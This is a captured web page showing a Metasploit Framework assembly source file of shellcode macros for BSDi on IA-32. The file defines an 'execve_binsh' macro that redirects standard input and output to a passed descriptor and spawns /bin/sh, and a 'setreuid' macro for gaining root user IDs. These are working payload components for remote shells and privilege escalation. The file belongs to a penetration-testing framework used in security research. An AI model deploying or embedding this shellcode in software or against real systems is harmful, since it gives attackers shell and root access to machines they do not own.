Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/shellcode/bsdi/ia32/generic.asm
Views: 11784
;;1;2; Name: generic3; Type: Macro Set4; Qualities: None5; Authors: skape <mmiller [at] hick.org>6; Version: $Revision: 1633 $7; License:8;9; This file is part of the Metasploit Exploit Framework10; and is subject to the same licenses and copyrights as11; the rest of this package.12;13; Description:14;15; This file provides a generic API of macros that can be used16; by payloads. No payloads are actually implemented within this17; file.18;19; Macro List:20;21; execve_binsh - Executes a command shell with flags22; setreuid - Set real/effective user id23;;24BITS 322526;;27; Define undefined assumptions28;;29%ifndef ASSUME_REG_EDX30%define ASSUME_REG_EDX -131%endif32%ifndef ASSUME_REG_EAX33%define ASSUME_REG_EAX -134%endif3536;;37;38; Macro: initialize_lcall_esi39; Purpose: Builds out lcall/ret into esi40;;41%macro initialize_lcall_esi 04243push dword 0xc300070044mov eax, 0x9a45cdq46push eax47mov esi, esp4849%endmacro5051;;52; Macro: execve_binsh53; Purpose: Execute a command shell with various options54; Arguments:55;56; Execution flags: Flags used for executing the command shell in a57; number of modes.58;59; EXECUTE_REDIRECT_IO => Redirects stdin/stdout/stderr to the fd60; passed in 'edi'.61;;62%define EXECUTE_REDIRECT_IO 0x00016364%macro execve_binsh 16566%if %1 & EXECUTE_REDIRECT_IO6768dup:69%if ASSUME_REG_EDX != 270push byte 0x271pop ecx72%endif73dup_loop:74%if ASSUME_REG_EAX == 075mov al, 0x5a76%else77push byte 0x5a78pop eax79%endif80%if ASSUME_REG_EDX == 281push edx82%else83push ecx84%endif85%ifdef FD_REG_EBX86push ebx87%else88push edi89%endif90call esi91%if ASSUME_REG_EDX == 292dec edx93%else94dec ecx95%endif96jns dup_loop9798%undef ASSUME_REG_EAX99%define ASSUME_REG_EAX 0100101%endif102103execve:104%if ASSUME_REG_EAX == 0105push eax106%else107push byte 0x3b108pop eax109cdq110push edx111%endif112push dword 0x68732f2f113push dword 0x6e69622f114mov ebx, esp115push eax116push esp117push ebx118%if ASSUME_REG_EAX == 0119mov al, 0x3b120%endif121call esi122123%endmacro124125;;126; Macro: setreuid127; Purpose: Set effective user id128; Arguments:129;130; User ID: The user identifier to setreuid to, typically 0.131;;132133%macro setreuid 1134135setreuid:136137%if %1 == 0138139xor eax, eax140141%else142143%if %1 < 256144145push byte %1146147%else148149push dword %1150151%endif152153pop eax154155%endif156157push eax158push eax159mov al, 0x7e160call esi161162%endmacro163164165